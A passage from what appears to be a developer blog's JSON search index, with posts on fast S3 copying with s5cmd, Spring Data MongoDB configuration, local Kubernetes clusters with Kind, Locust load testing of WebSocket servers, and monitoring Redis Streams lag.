KB/s\n","permalink":"https://madhur.co.in/blog/2024/10/07/s5cmd-fastest-way-to-copy-s3-data.html","summary":"\u003cp\u003eIf you are looking to copy huge amount of data to/from \u003ca href=\"https://aws.amazon.com/s3/\"\u003eAWS S3\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eLook no further than \u003ca href=\"https://github.com/peak/s5cmd\"\u003es5cmd\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eDownload the entire s3 bucket to local\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003es5cmd cp  s3://bucket/ .\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eI was able to download almost 10 GB folder in couple of minutes, which is around 83MBps ~ 10 MB/s\u003c/p\u003e\n\u003cp\u003eWhereas \u003ccode\u003eaws s3 cp --recursive  s3://bucket/ .\u003c/code\u003e was giving me around 500 KB/s\u003c/p\u003e","title":"s3cmd Fast way to copy s3 data"},{"content":"Spring data MongoDB adds a _class attribute to every document written to MongoDB\nIf we want to prvent adding Spring Data MongoDB from adding _class attribute, we can configure this behaviour through:\n@Configuration public class MongoConfig extends AbstractMongoClientConfiguration { @Override protected boolean autoIndexCreation() { return true; } @Bean public MappingMongoConverter mappingMongoConverter(MongoDatabaseFactory databaseFactory, MongoMappingContext mappingContext) { DbRefResolver dbRefResolver = new DefaultDbRefResolver(databaseFactory); MappingMongoConverter converter = new MappingMongoConverter(dbRefResolver, mappingContext); converter.setTypeMapper(new DefaultMongoTypeMapper(null)); return converter; } } ","permalink":"https://madhur.co.in/blog/2024/10/05/class-attribute-spring-data-mongodb.html","summary":"\u003cp\u003eSpring data MongoDB adds a \u003ccode\u003e_class\u003c/code\u003e attribute to every document written to \u003ca href=\"https://www.mongodb.com/\"\u003eMongoDB\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eIf we want to prvent adding Spring Data MongoDB from adding \u003ccode\u003e_class\u003c/code\u003e attribute, we can configure this behaviour through:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nd\"\u003e@Configuration\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMongoConfig\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eextends\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAbstractMongoClientConfiguration\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nd\"\u003e@Override\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003eprotected\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eboolean\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eautoIndexCreation\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"nd\"\u003e@Bean\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMappingMongoConverter\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003emappingMongoConverter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMongoDatabaseFactory\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edatabaseFactory\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMongoMappingContext\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emappingContext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eDbRefResolver\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edbRefResolver\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDefaultDbRefResolver\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edatabaseFactory\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eMappingMongoConverter\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econverter\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMappingMongoConverter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edbRefResolver\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emappingContext\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003econverter\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003esetTypeMapper\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDefaultMongoTypeMapper\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econverter\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"_class attribute in Spring data MongoDB_"},{"content":"If you want to quickly spin up a local development environment of kubernets cluster, Kubernetes in docker aka Kind is the way to go\nKind runs the kubernetes inside a docker container as opposed to Minikube which used to run kubernetes inside a VM\nRunning Kind on linux requires to create a cluster configuration file cluster.yaml\nHere is the sample configuration which would work for most of the cases:\nkind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 nodes: - role: control-plane kubeadmConfigPatches: - | kind: InitConfiguration nodeRegistration: kubeletExtraArgs: node-labels: \u0026#34;ingress-ready=true\u0026#34; extraPortMappings: - containerPort: 80 hostPort: 80 protocol: TCP - containerPort: 443 hostPort: 443 protocol: TCP kind create cluster --config=cluster.yaml Upon creating the cluster, kubectl context is automatically set to point to kind cluster.\n\u0026gt; kubectl cluster-info --context kind-kind Kubernetes control plane is running at https://127.0.0.1:46251 CoreDNS is running at https://127.0.0.1:46251/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy To further debug and diagnose cluster problems, use \u0026#39;kubectl cluster-info dump\u0026#39;. ","permalink":"https://madhur.co.in/blog/2024/09/01/create-local-k8s-cluster-kind.html","summary":"\u003cp\u003eIf you want to quickly spin up a local development environment of kubernets cluster, Kubernetes in docker aka \u003ca href=\"https://kind.sigs.k8s.io/\"\u003eKind\u003c/a\u003e is the way to go\u003c/p\u003e\n\u003cp\u003eKind runs the kubernetes inside a docker container as opposed to \u003ca href=\"https://minikube.sigs.k8s.io/docs/\"\u003eMinikube\u003c/a\u003e which used to run kubernetes inside a VM\u003c/p\u003e\n\u003cp\u003eRunning Kind on linux requires to create a cluster configuration file \u003ccode\u003ecluster.yaml\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eHere is the sample configuration which would work for most of the cases:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ekind\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003eCluster\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003eapiVersion\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003ekind.x-k8s.io/v1alpha4\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003enodes\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e- \u003cspan class=\"nt\"\u003erole\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"l\"\u003econtrol-plane\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"nt\"\u003ekubeadmConfigPatches\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e- \u003cspan class=\"p\"\u003e|\u003c/span\u003e\u003cspan class=\"sd\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e     kind: InitConfiguration\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e     nodeRegistration:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e     kubeletExtraArgs:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e     node-labels: \u0026#34;ingress-ready=true\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e     extraPortMappings:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e     - containerPort: 80\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e       hostPort: 80\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e       protocol: TCP\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e     - containerPort: 443\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e       hostPort: 443\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sd\"\u003e       protocol: TCP\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ekind create cluster --config\u003cspan class=\"o\"\u003e=\u003c/span\u003ecluster.yaml\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eUpon creating the cluster, \u003ccode\u003ekubectl\u003c/code\u003e context is automatically set to point to \u003ccode\u003ekind\u003c/code\u003e cluster.\u003c/p\u003e","title":"Create local kubernetes cluster using Kind"},{"content":"The entire code of this article is present on this github repository\nLoad testing WebSocket servers is crucial for ensuring their performance and scalability.\nThis article will guide you through using Locust, a popular open-source load testing tool, to test your Java WebSocket server.\nWe will use Jetty WebSocket in Java to run our websocket server. Jetty WebSocket is a Java library and part of the larger Jetty project, which is a popular open-source web server and servlet container.\nThe only message we will be handling is heartbeat requests for simplicity.\nprivate boolean start(String host, int port) { try { ServerConnector socketConnector = new ServerConnector(server); socketConnector.setPort(port); socketConnector.setHost(host); server.setConnectors(new Connector[] { socketConnector }); disableServerVersionHeader(); WebSocketHandler webSocketHandler = new WebSocketHandler() { @Override public void configure(WebSocketServletFactory webSocketServletFactory) { webSocketServletFactory.register(WebSocketChannelHandler.class); webSocketServletFactory.getExtensionFactory().unregister(\u0026#34;permessage-deflate\u0026#34;); } }; server.setHandler(webSocketHandler); server.start(); isRunning = server.isStarted(); logger.info(\u0026#34;Websocket Jetty server started @- {}/{}\u0026#34;, host, port); } catch (Exception e) { logger.error(\u0026#34;Unable to start the server on {}/{}\u0026#34;, host, port, e); isRunning = false; } return isRunning; } Here is a simple handler which handles heartbeat requests\n@OnWebSocketMessage public void onMessage(Session session, String message) { try { logger.info(\u0026#34;WS message received : {}\u0026#34;, message); processMessage(session, message); } catch (Exception e) { logger.error(\u0026#34;Exception in onMessage for session {} message {} due to {}\u0026#34;, session, message, e); } } private void processMessage(Session session, String message) { JSONObject json = new JSONObject(message); String messageType = json.optString(\u0026#34;type\u0026#34;).toLowerCase(); processEventsBasedOnMessageType(session, messageType, json); } private void processEventsBasedOnMessageType(Session session, String messageType, JSONObject json) { switch (messageType) { case \u0026#34;heartbeatreq\u0026#34;: SystemFactory.getInstance().getWebSocketMessageHandler().handleHeartBeatMessages(session); break; default: logger.info(\u0026#34;Unknown message type received : {}\u0026#34;, messageType); } } For the load testing part, we will use the popular Locust load testing framework.\nWe use websocket-client to manage websockets inside python. It is a very elegant library which allows to handle both short lived and long lived websocket connections.\nWhenever we send the heartbeat request to server, we send a timestamp from the client side in the field publishTimestamp. The server then responds with the heartbeatresp and also includes the original timestamp publishTimestamp which was sent in the request in the response. The server also includes the serverDelay which represents the delay of server in processing the heartbeat response.\nOur contract looks like this:\n{ \u0026#34;type\u0026#34;: \u0026#34;heartbeatreq\u0026#34;, \u0026#34;userId\u0026#34;: 1, \u0026#34;publishTimestamp\u0026#34;: 1722758706760 } { \u0026#34;type\u0026#34;: \u0026#34;heartbeatresp\u0026#34;, \u0026#34;userId\u0026#34;: 1, \u0026#34;serverDelay\u0026#34;: 1, \u0026#34;clientPublishTimestamp\u0026#34;: 1722758706760 } We can subtract the current time (the time we received the message in locust) and the clientPublishTimestamp in the heartbeatresp to calculate the end to end time of processing the heartbeat request message.\nWhen running the load test with Locust, it\u0026rsquo;s important to ensure that Locust itself is not experiencing high CPU usage. Otherwise, the high latency could be attributed to the lag in receiving the messages in the locust itself, rather than the processing time of the server.\nWe run the load with 10K connected users with ramp up rate of 500. I choose this number because I am running this on my local desktop computer.\nThis means we will be connecting 500 websockets / s until we reach total 10K connected sockets on the server.\nLocust will take some time to spawn all the 10K users. At this point, we can see that rate of ws_connect is 500 per second.\nOnce the spawn state is finished, all the websockets are connected. At this point, all the connected websockets will be sending heartbeat requests at every 2 seconds, which comes out to ~ 5000 heartbeat requests per second as shown below.\nConclusion In this article, we saw how to load test WebSocket servers using locust. The benefit of using locust is to have fine grained control over number of sockets to connect, when to trigger messages as well as calculate end to end latency.\nThe entire code of this article is present on this github repository\nFeel free to use this code or if you have any comments, add comment using the comment box below.\n","permalink":"https://madhur.co.in/blog/2024/08/04/load-testing-websocket-servers-locust.html","summary":"\u003cp\u003eThe entire code of this article is present on this \u003ca href=\"https://github.com/madhur/load-test-websocket-locust\"\u003egithub repository\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eLoad testing WebSocket servers is crucial for ensuring their performance and scalability.\u003c/p\u003e\n\u003cp\u003eThis article will guide you through using Locust, a popular open-source load testing tool, to test your Java WebSocket server.\u003c/p\u003e\n\u003cp\u003eWe will use Jetty WebSocket in Java to run our websocket server. Jetty WebSocket is a Java library and part of the larger Jetty project, which is a popular open-source web server and servlet container.\u003c/p\u003e","title":"Load testing Websocket servers using Locust"},{"content":"Monitoring Redis Streams lag in Prometheus and Grafana\nIn this post, we will look at how we can measure redis streams lag from the application perspective.\nWe would want to measure the lag and plot this in visual format using Prometheus in Grafana\nAssumptions We are going to assume that we have set of streams and set of consumer groups which are consuming from the stream. We are using consumer groups because we want high availability to consume via multiple nodes. We assume that each consumer within consumer groups are dynamic, for example if a consumer is running on a kubernetes node, a node can be restarted, respawned.\nWe are also going to assume that we are trimming stream length to some constant number of messages at regular intervals to save memory. This is important in terms of monitoring since redis reports some metrics assuming that consumer group has been consuming from beginning of stream, which many a times is not the case.\nWe are also going to assume that there is some constant minimum rate of message publish on redis stream. Why do we need this assumption? Not enforcing this restriction makes the monitoring even more difficult. We will see why below.\nIn the examples below, we have streams named ack0, ack1, ack2, ack3, ack4 consumed by consumer group poker-coordinator-ack\nHow do we define lag? In terms of Redis streams, we are primarily interested in two metrics:\nUndelivered messages: The messages which have been published on redis stream, but not yet have been consumed by the consumer group. This can happen if consumer group is taking a lot of time to process messages. This indicates that either we need to scale horizontally to increase the consumption rate or reduce the publish rate.\nPending messages: The message which have been consumed by the consumer group but yet not acknowledged. This is only applicable for redis streams consumer groups which have acknowledgement enabled. The messages which are not acknowledged, remain in Pending Entries List data structure. It is important to know the length of this data structure to determine if there were some messages in stream which were not acknowledged by the consumer.\nWe will now examine each of the redis stream related command output below to determine if it can help in monitoring redis streams.\nxinfo groups ack0, will give information about ack0 stream consumer groups. 127.0.0.1:6381\u0026gt; xinfo groups ack3 1) 1) \u0026#34;name\u0026#34; 2) \u0026#34;consumerGroup\u0026#34; 3) \u0026#34;consumers\u0026#34; 4) (integer) 2 5) \u0026#34;pending\u0026#34; 6) (integer) 0 7) \u0026#34;last-delivered-id\u0026#34; 8) \u0026#34;0-0\u0026#34; 9) \u0026#34;entries-read\u0026#34; 10) (nil) 11) \u0026#34;lag\u0026#34; 12) (integer) 8766 2) 1) \u0026#34;name\u0026#34; 2) \u0026#34;poker-coordinator-ack\u0026#34; 3) \u0026#34;consumers\u0026#34; 4) (integer) 20 5) \u0026#34;pending\u0026#34; 6) (integer) 100 7) \u0026#34;last-delivered-id\u0026#34; 8) \u0026#34;1720934812760-0\u0026#34; 9) \u0026#34;entries-read\u0026#34; 10) (integer) 791553 11) \u0026#34;lag\u0026#34; 12) (integer) 11445 This output gives the number of consumer groups for stream ack3. Here, stream ack3 has two consumer groups namely consumerGroup and poker-coordinator-ack.\nThe number of consumers in both groups are 2 and 20 respectively.\nThe pending messages in both groups are 0 and 100 respectively.\nThe last delivered id for both groups is 0-0 and 1720934812760-0 respectively. The first one indicates that its dead and is not running. This metric is useful in monitoring since it can tell us which was the last id which was delivered to this consumer group by redis stream.\nThe entries read for both groups are nil and 791553 respectively. This number is lifetime aggregate and is usually useless for monitoring purposes. This is because stream length can generally be trimmed at regular intervals for saving memory as I mentioned in the assumptions. Once the stream length is trimmed, this number in comparison to stream length is very large.\nThe lag for both groups is 8766 and 11445 respectively. The lag is important metric, however its important to understand it.\nThe lag of a given consumer group is the number of entries in the range between the group\u0026rsquo;s entries_read and the stream\u0026rsquo;s entries_added. Put differently, it is the number of entries that are yet to be delivered to the group\u0026rsquo;s consumers.\nIt seems that this number is a good metric to monitor for monitoring. However, there is a caveat to it. The way redis calculates this number is by subtracting the total number of messages published on stream minus the number of messages read by consumer group since beginning. In real world, the consumer group might have been created later after the stream is created OR there might have been some messages which were trimmed or deleted from the stream which this consumer group might never receieve. In that case, this number will always report very large value which is not what we want.\nxpending ack3 poker-coordinator-ack will give the information about pending messages to the consumer group 127.0.0.1:6379\u0026gt; xpending ack3 poker-coordinator-ack -\u0026gt; Redirected to slot [15549] located at 127.0.0.1:6381 1) (integer) 100 2) \u0026#34;1720937728800-4\u0026#34; 3) \u0026#34;1720937738803-1\u0026#34; 4) 1) 1) \u0026#34;F8DD1276E0DF496C965EC775CA07397F\u0026#34; 2) \u0026#34;100\u0026#34; This outputs that there are 100 pending messages. The smallest message id is 1720937728800-4 and largest message id is 1720937738803-1. The consumer (within the group poker-coordinator-ack) which has pending messages 100 with id F8DD1276E0DF496C965EC775CA07397F\nxinfo consumers ack3 poker-coordinator-ack 1) 1) \u0026#34;name\u0026#34; 2) \u0026#34;07A1A45C9BCD40238A54F773ECB47B82\u0026#34; 3) \u0026#34;pending\u0026#34; 4) (integer) 0 5) \u0026#34;idle\u0026#34; 6) (integer) 1463079 7) \u0026#34;inactive\u0026#34; 8) (integer) 1463079 2) 1) \u0026#34;name\u0026#34; 2) \u0026#34;225EF592894744ADB4F0768797F608CE\u0026#34; 3) \u0026#34;pending\u0026#34; 4) (integer) 0 5) \u0026#34;idle\u0026#34; 6) (integer) 10170676 7) \u0026#34;inactive\u0026#34; 8) (integer) 10170676 The output above gives information about each unique consumer within a consumer group. Since our consumers are dynamic in a containerized infrastructure, the consumer group name is just a UUID. Once the container goes away, the unique consumer name is no longer relevant and we are not interested in the information. It is apparent that we are not interested in each consumer within a group. We want to make sure that a consumer group as a whole is healthy and consuming messages at healthy rate.\nCalculating undelivered messages The best way to calculate undelivered message is get the last delivered ID of the consumer group and the last delivered ID of the stream. Count the number of messages between them and report it as lag. Here is the pseudo code using Redisson client in java.\nimport org.redisson.api.StreamMessageId; import org.redisson.api.stream.StreamReadGroupArgs; public static void updateStreamLagMetrics(RedissonClient redisson, String streamName, String groupName) { RStream\u0026lt;String, String\u0026gt; stream = redisson.getStream(streamName); // Get stream info Map\u0026lt;String, Object\u0026gt; streamInfo = stream.getInfo(); String lastGeneratedId = (String) streamInfo.get(\u0026#34;lastGeneratedId\u0026#34;); // Get group info Map\u0026lt;String, Object\u0026gt; groupInfo = stream.listGroups().stream() .filter(group -\u0026gt; group.get(\u0026#34;name\u0026#34;).equals(groupName)) .findFirst() .orElseThrow(() -\u0026gt; new RuntimeException(\u0026#34;Group not found\u0026#34;)); String lastDeliveredId = (String) groupInfo.get(\u0026#34;lastDeliveredId\u0026#34;); // Get pending messages count PendingResult pendingInfo = stream.getPendingInfo(groupName); long pendingCount = pendingInfo.getTotal(); // Calculate undelivered messages long undeliveredMessages = 0; if (!lastGeneratedId.equals(lastDeliveredId)) { StreamMessageId lastDeliveredStreamId = parseStreamMessageId(lastDeliveredId); // Read all messages after the last delivered ID List\u0026lt;StreamEntry\u0026lt;String, String\u0026gt;\u0026gt; undeliveredEntries = stream.readGroup(groupName, \u0026#34;temp-consumer\u0026#34;, StreamReadGroupArgs.neverDelivered().count(Integer.MAX_VALUE)); undeliveredMessages = undeliveredEntries.size(); // Remove the temporary consumer stream.removeConsumer(groupName, \u0026#34;temp-consumer\u0026#34;); } long totalLag = undeliveredMessages + pendingCount; // Update Prometheus metrics UNDELIVERED_MESSAGES.labels(streamName, groupName).set(undeliveredMessages); PENDING_MESSAGES.labels(streamName, groupName).set(pendingCount); TOTAL_LAG.labels(streamName, groupName).set(totalLag); } private static StreamMessageId parseStreamMessageId(String id) { String[] parts = id.split(\u0026#34;-\u0026#34;); if (parts.length != 2) { throw new IllegalArgumentException(\u0026#34;Invalid stream ID format: \u0026#34; + id); } return new StreamMessageId(Long.parseLong(parts[0]), Long.parseLong(parts[1])); } However, note that counting the number of messages between two IDs is a very expensive operation which I do not recommend doing on a production cluster. Instead, what we can do is get the approximation of time difference between the two and report it as a metric. This is where the assumption that there is some constant minimum rate of message publish on redis stream. comes into picture. If the messages are sparingly published, this approach does not work.\nHere is the updated code based on the assumption\npublic void computeStreamLag(RedissonClient redisson, String streamName, String groupName) { RStream\u0026lt;String, String\u0026gt; stream = redisson.getStream(streamName); // Get stream info StreamInfo\u0026lt;String, String\u0026gt; streamInfo = stream.getInfo(); StreamMessageId lastGeneratedId = streamInfo.getLastGeneratedId(); // Get group info List\u0026lt;StreamGroup\u0026gt; groupsInfo = stream.listGroups(); StreamGroup groupInfo = groupsInfo.stream() .filter(group -\u0026gt; group.getName().equals(groupName)) .findFirst() .orElseThrow(() -\u0026gt; new RuntimeException(\u0026#34;Group not found\u0026#34;)); StreamMessageId lastDeliveredId = 